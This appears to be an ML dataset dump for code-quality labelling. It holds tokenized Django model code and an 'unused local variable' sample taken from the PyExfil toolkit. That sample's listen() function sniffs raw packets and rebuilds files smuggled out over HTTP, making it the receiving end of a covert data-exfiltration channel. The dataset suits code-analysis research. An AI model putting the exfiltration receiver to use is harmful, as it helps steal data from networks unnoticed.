"\\u\\u\\uNL\\u\\u\\u_", "ye", "as_", "=_", "models_", "._", "Posi", "tiv", "e", "Integer", "Field_", "(_", "default_", "=_", "0_", ",_", "editable_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "na", "ys_", "=_", "models_", "._", "Posi", "tiv", "e", "Integer", "Field_", "(_", "default_", "=_", "0_", ",_", "editable_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "votes_", "=_", "models_", "._", "Posi", "tiv", "e", "Integer", "Field_", "(_", "default_", "=_", "0_", ",_", "editable_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Meta_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "verbo", "se", "\\u", "name_", "=_", "\\u_", "(_", "u", "'", "Pap", "er", " ", "revis", "ion", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "verbo", "se", "\\u", "name", "\\u", "plural_", "=_", "\\u_", "(_", "u", "'", "Pap", "er", " ", "revis", "ion", "s", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "get", "\\u", "late", "st", "\\u", "by_", "=_", "'", "created", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ordering_", "=_", "[_", "'-", "revis", "ion", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Pap", "er", "Revision_", "(_", "models_", "._", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "unicode\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "ugettext_", "(_", "'", "Revi", "sion", " ", "%", "(", "created", ")", "s", " ", "for", " ", "%", "(", "page", "\\u", "title", ")", "s", "'_", ")_", "%_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "created", "'_", ":_", "self_", "._", "created_", "._", "strftime_", "(_", "'%", "Y", "%", "m", "%", "d", "-%", "H", "%", "M", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "page", "\\u", "title", "'_", ":_", "self_", "._", "paper_", "._", "title_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Pap", "er", "Revision_", "(_", "models_", "._", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "abs", "olute", "\\u", "url_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "reverse_", "(_", "\"", "pape", "r", "\\u", "revis", "ion", "\"_", ",_", "kwargs_", "=_", "{_", "\"", "pape", "r", "\\u", "id", "\"_", ":_", "self_", "._", "paper_", "._", "id_", ",_", "\"", "revis", "ion", "\\u", "number", "\"_", ":_", "self_", "._", "revision_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Pap", "er", "Contributor", "_", "(_", "models_", "._", "Model_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "paper_", "=_", "models_", "._", "Fore", "ign", "Key_", "(_", "Pap", "er_", ",_", "relate", "d\\u", "name_", "=_", "\"", "contributor", "s", "\"_", ",_", "verbo", "se", "\\u", "name_", "=_", "\\u_", "(_", "\"", "pape", "r", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "user_", "=_", "models_", "._", "Fore", "ign", "Key_", "(_", "User_", ",_", "relate", "d\\u", "name_", "=_", "\"", "papers", "\"_", ",_", "verbo", "se", "\\u", "name_", "=_", "\\u_", "(_", "\"", "user", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "contributions", "_", "=_", "models_", "._", "Posi", "tiv", "e", "Integer", "Field_", "(_", "\\u_", "(_", "\"", "contributions", "\"_", ")_", ",_", "default_", "=_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "away_", "=_", "models_", "._", "Boo", "lean", "Field_", "(_", "\\u_", "(_", "\"", "awa", "y", "\"_", ")_", ",_", "default_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "awa", "y", "\\u", "message_", "=_", "models_", "._", "Char", "Field_", "(_", "\\u_", "(_", "\"", "awa", "y", "\\u", "message", "\"_", ")_", ",_", "max", "\\u", "length_", "=_", "500_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "awa", "y", "\\u", "since_", "=_", "models_", "._", "Date", "Time", "Field_", "(_", "\\u_", "(_", "\"", "awa", "y", " ", "sinc", "e", "\"_", ")_", ",_", "default_", "=_", "datetime_", "._", "now_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Meta_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "unique", "\\u", "together_", "=_", "[_", "(_", "\"", "user", "\"_", ",_", "\"", "pape", "r", "\"_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "pape", "r", "\\u", "feed", "\\u", "title", "\\u", "update_", "(_", "sender_", ",_", "instance_", ",_", "created_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "instance_", "._", "feed_", "._", "title_", "=_", "instance_", "._", "title_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "instance_", "._", "feed_", "._", "save_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1,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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
ytisf/PyExfil/pyexfil/http_exfiltration.py
[ { "content": "def listen(local_addr, local_port=80):\n\t\"\"\"\n\tThis function will initiate a web listener (NOT SERVER!) on default port 80.\n\tIt will then capture files and save them into a local file.\n\t:param local_addr: The ip address to bind to.\n\t:param local_port: The port. If not mentioned, 80 will be chosen.\n\t:return:\n\t\"\"\"\n\tdef eth_addr(a):\n\t\tb = \"%.2x:%.2x:%.2x:%.2x:%.2x:%.2x\" % (ord(a[0]), ord(a[1]), ord(a[2]), ord(a[3]), ord(a[4]), ord(a[5]))\n\t\treturn b\n\n\ttry:\n\t\ts = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.ntohs(ETH_P_ALL))\n\texcept socket.error, msg:\n\t\tsys.stderr.write('Socket could not be created. Error Code : ' + str(msg[0]) + ' Message ' + msg[1] + \"\\n\")\n\t\traise ()\n\n\ttry:\n\t\t# Initiate log file:\n\t\tcurrent_time_as_string = str(datetime.datetime.now()).replace(\":\", \".\").replace(\" \", \"-\")[:-7]\n\t\tlog_fh = open(LOGFILE_BASENAME + current_time_as_string + LOGFILE_EXT, WRITE_BINARY)\n\t\tlog_fh.write(\"Started logging at %s\\n\\n\" % current_time_as_string)\n\n\texcept:\n\t\tsys.stderr.write(\"Error starting log file.\\n\")\n\t\traise ()\n\n\t# Main work starts here\n\twhile True:\n\t\tpacket, address = s.recvfrom(65565)\n\t\teth_length = 14\n\n\t\teth_header = packet[:eth_length]\n\t\teth = unpack('!6s6sH', eth_header)\n\t\teth_protocol = socket.ntohs(eth[2])\n\n\t\t# Parse IP packets, IP Protocol number = 8\n\t\tif eth_protocol == 8 and address[2] == 4: # Cancel out duplicates\n\t\t\t# Parse IP header\n\t\t\tip_header = packet[eth_length:20 + eth_length] # 20 first chars are IP Header\n\t\t\tiph = unpack('!BBHHHBBH4s4s', ip_header) # Unpacking IP Header\n\n\t\t\tversion_ihl = iph[0]\n\t\t\tversion = version_ihl >> 4\n\t\t\tihl = version_ihl & 0xF\n\t\t\tiph_length = ihl * 4\n\t\t\tttl = iph[5]\n\t\t\tprotocol = iph[6]\n\t\t\ts_addr = socket.inet_ntoa(iph[8])\n\t\t\td_addr = socket.inet_ntoa(iph[9])\n\n\t\t\t# TCP protocol\n\t\t\t# Todo; later add the option to choose a port\n\t\t\tif protocol == 6:\n\t\t\t\tt = iph_length + eth_length # Add IP header and Ethernet header\n\t\t\t\ttcp_header = packet[t:t + 20] # TCP header = 20 chars\n\t\t\t\ttcph = unpack('!HHLLBBHHH', tcp_header) # Unpack it\n\n\t\t\t\tsource_port = tcph[0]\n\t\t\t\tdest_port = tcph[1]\n\t\t\t\tsequence = tcph[2]\n\t\t\t\tacknowledgement = tcph[3]\n\t\t\t\tdoff_reserved = tcph[4]\n\t\t\t\ttcph_length = doff_reserved >> 4\n\n\t\t\t\tif (dest_port == HTTP_PORT) or (source_port == HTTP_PORT):\n\t\t\t\t\tfilename = \"dfbsdgbSFGBSbSRTBsrthbSFGNsrHS$5h\" # random just to make sure no match.\n\t\t\t\t\t# Get the actual data\n\t\t\t\t\th_size = eth_length + iph_length + tcph_length * 4\n\t\t\t\t\tdata_size = len(packet) - h_size\n\t\t\t\t\tdata = packet[h_size:]\n\n\t\t\t\t\tif data.find(INIT_PACKET_COOKIE) != -1:\n\t\t\t\t\t\tdata_init_offset = data.find(INIT_PACKET_COOKIE)\n\t\t\t\t\t\tviable_data = data[data_init_offset:] # Getting right line\n\t\t\t\t\t\tfilename = viable_data[viable_data.find(\"\\\": \\\"\") + 4:viable_data.find(\"..\")] # getting filename\n\t\t\t\t\t\tviable_data = viable_data[viable_data.find(\"..\") + 2:] # trim it\n\t\t\t\t\t\tcrc = viable_data[:viable_data.find(\"..\")] # Getting CRC\n\t\t\t\t\t\tviable_data = viable_data[viable_data.find(\"..\") + 2:] # trim it\n\t\t\t\t\t\ttotal_packets = viable_data[:viable_data.find(\"\\\"}\")] # Getting packet amount\n\n\t\t\t\t\t\t# Print user friendly information\n\t\t\t\t\t\tlog_fh.write(\"Got initiation packet from \" + str(s_addr) + \".\\n\")\n\t\t\t\t\t\tlog_fh.write(\"Will now initiate capturing of: \\n\")\n\t\t\t\t\t\tlog_fh.write(\"\\t\\tFilename:\\t%s\\n\" % filename)\n\t\t\t\t\t\tlog_fh.write(\"\\t\\tCRC32:\\t\\t%s\\n\" % crc)\n\t\t\t\t\t\tlog_fh.write(\"\\t\\tTotal Packets:\\t%s\\n\" % total_packets)\n\t\t\t\t\t\tlog_fh.write(\"\\t\\tOrigin IP:\\t%s\\n\" % s_addr)\n\n\t\t\t\t\t\t# Set up for file writing\n\t\t\t\t\t\tdata_packets_recvd = 0\n\t\t\t\t\t\tfh = open(filename + \"_\" + crc, WRITE_BINARY)\n\t\t\t\t\t\trecvd_data = \"\"\n\n\t\t\t\t\t# Found termination\n\t\t\t\t\telif data.find(TERMINATION_COOKIE) != -1:\n\t\t\t\t\t\tlog_fh.write(\"Termination from: %s\\n\" % s_addr)\n\t\t\t\t\t\tif zlib.crc32(recvd_data) == int(crc):\n\t\t\t\t\t\t\t# CRC32 is matched. Continuing to decryption and file saving\n\t\t\t\t\t\t\trecvd_data = base64.b64decode(recvd_data)\n\t\t\t\t\t\t\tfh.write(recvd_data)\n\t\t\t\t\t\t\tfh.close()\n\t\t\t\t\t\t\tlog_fh.write(\"[+] File has been created and saved as \" + str(filename) + \"_\" + str(crc) + \"\\n\")\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tsys.stderr.write(\"[!] No CRC match! Will not be writing file.\\n\")\n\n\t\t\t\t\t# Found regular data\n\t\t\t\t\telif data.find(PACKET_COOKIE) != -1:\n\t\t\t\t\t\tdata_init_offset = data.find(PACKET_COOKIE)\n\t\t\t\t\t\tviable_data = data[data_init_offset:] # Getting right line\n\t\t\t\t\t\tviable_data = viable_data[viable_data.find(\"\\\": \\\"\") + 4:viable_data.find(\"\\\"}\")]\n\t\t\t\t\t\trecvd_data += viable_data\n\t\t\t\t\t\tdata_packets_recvd += 1\n\t\t\t\t\t\tsys.stdout.write(str(data_packets_recvd) + \"-\")\n\t\t\t\t\telse:\n\t\t\t\t\t\t# Must be regular HTTP request\n\t\t\t\t\t\tpass", "metadata": "root.listen", "header": "['module', '___EOS___']", "index": 100 } ]
[ { "span": "eth_addr(", "start_line": 108, "start_column": 5, "end_line": 108, "end_column": 13 }, { "span": "version ", "start_line": 144, "start_column": 3, "end_line": 144, "end_column": 10 }, { "span": "ttl ", "start_line": 147, "start_column": 3, "end_line": 147, "end_column": 6 }, { "span": "d_addr ", "start_line": 150, "start_column": 3, "end_line": 150, "end_column": 9 }, { "span": "sequence ", "start_line": 161, "start_column": 4, "end_line": 161, "end_column": 12 }, { "span": "acknowledgement ", "start_line": 162, "start_column": 4, "end_line": 162, "end_column": 19 }, { "span": "data_size ", "start_line": 170, "start_column": 5, "end_line": 170, "end_column": 14 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "listen_", "(_", "local", "\\u", "addr_", ",_", "local", "\\u", "port_", "=_", "80_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "\"\"\"", "\\", "10", ";", "\t", "Thi", "s", " ", "function", " ", "will", " ", "initiate", " ", "a", " ", "web", " ", "listen", "er", " ", "(", "NOT", " ", "SERVER", "!)", " ", "on", " ", "default", " ", "port", " ", "80.", "\\", "10", ";", "\t", "It", " ", "will", " ", "then", " ", "captur", "e", " ", "files", " ", "and", " ", "save", " ", "them", " ", "int", "o", " ", "a", " ", "local", " ", "file", ".", "\\", "10", ";", "\t", ":", "param", " ", "local", "\\u", "addr", ":", " ", "The", " ", "ip", " ", "address", " ", "to", " ", "bind", " ", "to", ".", "\\", "10", ";", "\t", ":", "param", " ", "local", "\\u", "port", ":", " ", "The", " ", "port", ".", " ", "If", " ", "not", " ", "mentioned", ",", " ", "80", " ", "will", " ", "be", " ", "chosen", ".", "\\", "10", ";", "\t", ":", "return", ":", "\\", "10", ";", "\t", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "eth", "\\u", "addr_", "(_", "a_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "b_", "=_", "\"%", ".2", "x", ":", "%", ".2", "x", ":", "%", ".2", "x", ":", "%", ".2", "x", ":", "%", ".2", "x", ":", "%", ".2", "x", "\"_", "%_", "(_", "ord_", "(_", "a_", "[_", "0_", "]_", ")_", ",_", "ord_", "(_", "a_", "[_", "1_", "]_", ")_", ",_", "ord_", "(_", "a_", "[_", "2_", "]_", ")_", ",_", "ord_", "(_", "a_", "[_", "3_", "]_", ")_", ",_", "ord_", "(_", "a_", "[_", "4_", "]_", ")_", ",_", "ord_", "(_", "a_", "[_", "5_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "b_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "s_", "=_", "socket_", "._", "socket_", "(_", "socket_", "._", "AF", "\\u", "PACKET", "_", ",_", "socket_", "._", "SOCK", "\\u", "RAW_", ",_", "socket_", "._", "nto", "hs_", "(_", "ETH", "\\u", "P", "\\u", "ALL_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "socket_", "._", "error_", ",_", "msg_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "sys_", "._", "stderr_", "._", "write_", "(_", "'", "Sock", "et", " ", "coul", "d", " ", "not", " ", "be", " ", "created", ".", " ", "Error", " ", "Code", " ", ":", " ", "'_", "+_", "str_", "(_", "msg_", "[_", "0_", "]_", ")_", "+_", "'", " ", "Messag", "e", " ", "'_", "+_", "msg_", "[_", "1_", "]_", "+_", "\"\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Initiat", "e", " ", "log", " ", "file", ":_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "current", "\\u", "time", "\\u", "as", "\\u", "string_", "=_", "str_", "(_", "datetime_", "._", "datetime_", "._", "now_", "(_", ")_", ")_", "._", "replace_", "(_", "\":\"_", ",_", "\".\"_", ")_", "._", "replace_", "(_", "\"", " ", "\"_", ",_", "\"-\"_", ")_", "[_", ":_", "-_", "7_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "log", "\\u", "fh_", "=_", "open_", "(_", "LOG", "FILE", "\\u", "BASE", "NAME_", "+_", "current", "\\u", "time", "\\u", "as", "\\u", "string_", "+_", "LOG", "FILE", "\\u", "EXT_", ",_", "WRITE", "\\u", "BINARY_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "log", "\\u", "fh_", "._", "write_", "(_", "\"", "Start", "ed", " ", "logg", "ing", " ", "at", " ", "%", "s", "\\\\", "n", "\\\\", "n", "\"_", "%_", "current", "\\u", "time", "\\u", "as", "\\u", "string_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "sys_", "._", "stderr_", "._", "write_", "(_", "\"", "Error", " ", "startin", "g", " ", "log", " ", "file", ".\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Main", " ", "work", " ", "starts", " ", "here_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "packet_", ",_", "address_", "=_", "s_", "._", "recv", "from_", "(_", "655", "65_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "eth", "\\u", "length_", "=_", "14_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "eth", "\\u", "header_", "=_", "packet_", "[_", ":_", "eth", "\\u", "length_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "eth_", "=_", "unpack_", "(_", "'!", "6", "s", "6", "s", "H", "'_", ",_", "eth", "\\u", "header_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "eth", "\\u", "protocol_", "=_", "socket_", "._", "nto", "hs_", "(_", "eth_", "[_", "2_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Pars", "e", " ", "IP", " ", "packet", "s", ",", " ", "IP", " ", "Proto", "col", " ", "number", " ", "=", " ", "8_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "eth", "\\u", "protocol_", "==_", "8_", "and_", "address_", "[_", "2_", "]_", "==_", "4_", ":_", "#", " ", "Cancel", " ", "out", " ", "duplicates_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Pars", "e", " ", "IP", " ", "header_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "ip", "\\u", "header_", "=_", "packet_", "[_", "eth", "\\u", "length_", ":_", "20_", "+_", "eth", "\\u", "length_", "]_", "#", " ", "20", " ", "first", " ", "char", "s", " ", "are", " ", "IP", " ", "Header_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "iph", "_", "=_", "unpack_", "(_", "'!", "BB", "HHH", "BB", "H", "4", "s", "4", "s", "'_", ",_", "ip", "\\u", "header_", ")_", "#", " ", "Unpack", "ing", " ", "IP", " ", "Header_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "version", "\\u", "ih", "l_", "=_", "iph", "_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "version_", "=_", "version", "\\u", "ih", "l_", ">>_", "4_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ih", "l_", "=_", "version", "\\u", "ih", "l_", "&_", "0xF", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "iph", "\\u", "length_", "=_", "ih", "l_", "*_", "4_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ttl_", "=_", "iph", "_", "[_", "5_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "protocol_", "=_", "iph", "_", "[_", "6_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s", "\\u", "addr_", "=_", "socket_", "._", "inet", "\\u", "nto", "a_", "(_", "iph", "_", "[_", "8_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d\\u", "addr_", "=_", "socket_", "._", "inet", "\\u", "nto", "a_", "(_", "iph", "_", "[_", "9_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "TC", "P", " ", "protocol_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Todo", ";", " ", "late", "r", " ", "add", " ", "the", " ", "option", " ", "to", " ", "choose", " ", "a", " ", "port_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "protocol_", "==_", "6_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "t_", "=_", "iph", "\\u", "length_", "+_", "eth", "\\u", "length_", "#", " ", "Add", " ", "IP", " ", "header", " ", "and", " ", "Ether", "net", " ", "header_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tcp", "\\u", "header_", "=_", "packet_", "[_", "t_", ":_", "t_", "+_", "20_", "]_", "#", " ", "TC", "P", " ", "header", " ", "=", " ", "20", " ", "chars_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tcp", "h_", "=_", "unpack_", "(_", "'!", "HH", "LL", "BB", "HHH", "'_", ",_", "tcp", "\\u", "header_", ")_", "#", " ", "Unpack", " ", "it_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "source", "\\u", "port_", "=_", "tcp", "h_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dest", "\\u", "port_", "=_", "tcp", "h_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sequence_", "=_", "tcp", "h_", "[_", "2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "acknowledge", "ment_", "=_", "tcp", "h_", "[_", "3_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dof", "f", "\\u", "reserved_", "=_", "tcp", "h_", "[_", "4_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tcp", "h", "\\u", "length_", "=_", "dof", "f", "\\u", "reserved_", ">>_", "4_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "(_", "dest", "\\u", "port_", "==_", "HTTP", "\\u", "PORT_", ")_", "or_", "(_", "source", "\\u", "port_", "==_", "HTTP", "\\u", "PORT_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "filename_", "=_", "\"", "df", "bsd", "gb", "SF", "GB", "Sb", "SR", "TB", "srt", "hb", "SF", "GN", "sr", "HS", "$", "5", "h", "\"_", "#", " ", "random", " ", "just", " ", "to", " ", "make", " ", "sure", " ", "no", " ", "match", "._", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Get", " ", "the", " ", "actual", " ", "data_", "\\u\\u\\uNL\\u\\u\\u_", "h", "\\u", "size_", "=_", "eth", "\\u", "length_", "+_", "iph", "\\u", "length_", "+_", "tcp", "h", "\\u", "length_", "*_", "4_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data\\u", "size_", "=_", "len_", "(_", "packet_", ")_", "-_", "h", "\\u", "size_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "packet_", "[_", "h", "\\u", "size_", ":_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "data_", "._", "find_", "(_", "INIT", "\\u", "PACKET", "\\u", "COOKIE", "_", ")_", "!=_", "-_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t_", "data\\u", "init", "\\u", "offset_", "=_", "data_", "._", "find_", "(_", "INIT", "\\u", "PACKET", "\\u", "COOKIE", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "via", "ble", "\\u", "data_", "=_", "data_", "[_", "data\\u", "init", "\\u", "offset_", ":_", "]_", "#", " ", "Get", "ting", " ", "right", " ", "line_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "filename_", "=_", "via", "ble", "\\u", "data_", "[_", "via", "ble", "\\u", "data_", "._", "find_", "(_", "\"\\\\\"", ":", " ", "\\\\\"\"_", ")_", "+_", "4_", ":_", "via", "ble", "\\u", "data_", "._", "find_", "(_", "\"..\"_", ")_", "]_", "#", " ", "getti", "ng", " ", "filename_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "via", "ble", "\\u", "data_", "=_", "via", "ble", "\\u", "data_", "[_", "via", "ble", "\\u", "data_", "._", "find_", "(_", "\"..\"_", ")_", "+_", "2_", ":_", "]_", "#", " ", "trim", " ", "it_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "crc_", "=_", "via", "ble", "\\u", "data_", "[_", ":_", "via", "ble", "\\u", "data_", "._", "find_", "(_", "\"..\"_", ")_", "]_", "#", " ", "Get", "ting", " ", "CR", "C_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "via", "ble", "\\u", "data_", "=_", "via", "ble", "\\u", "data_", "[_", "via", "ble", "\\u", "data_", "._", "find_", "(_", "\"..\"_", ")_", "+_", "2_", ":_", "]_", "#", " ", "trim", " ", "it_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "total", "\\u", "packets_", "=_", "via", "ble", "\\u", "data_", "[_", ":_", "via", "ble", "\\u", "data_", "._", "find_", "(_", "\"\\\\\"", "}\"_", ")_", "]_", "#", " ", "Get", "ting", " ", "packet", " ", "amount_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Print", " ", "user", " ", "frie", "ndl", "y", " ", "information_", 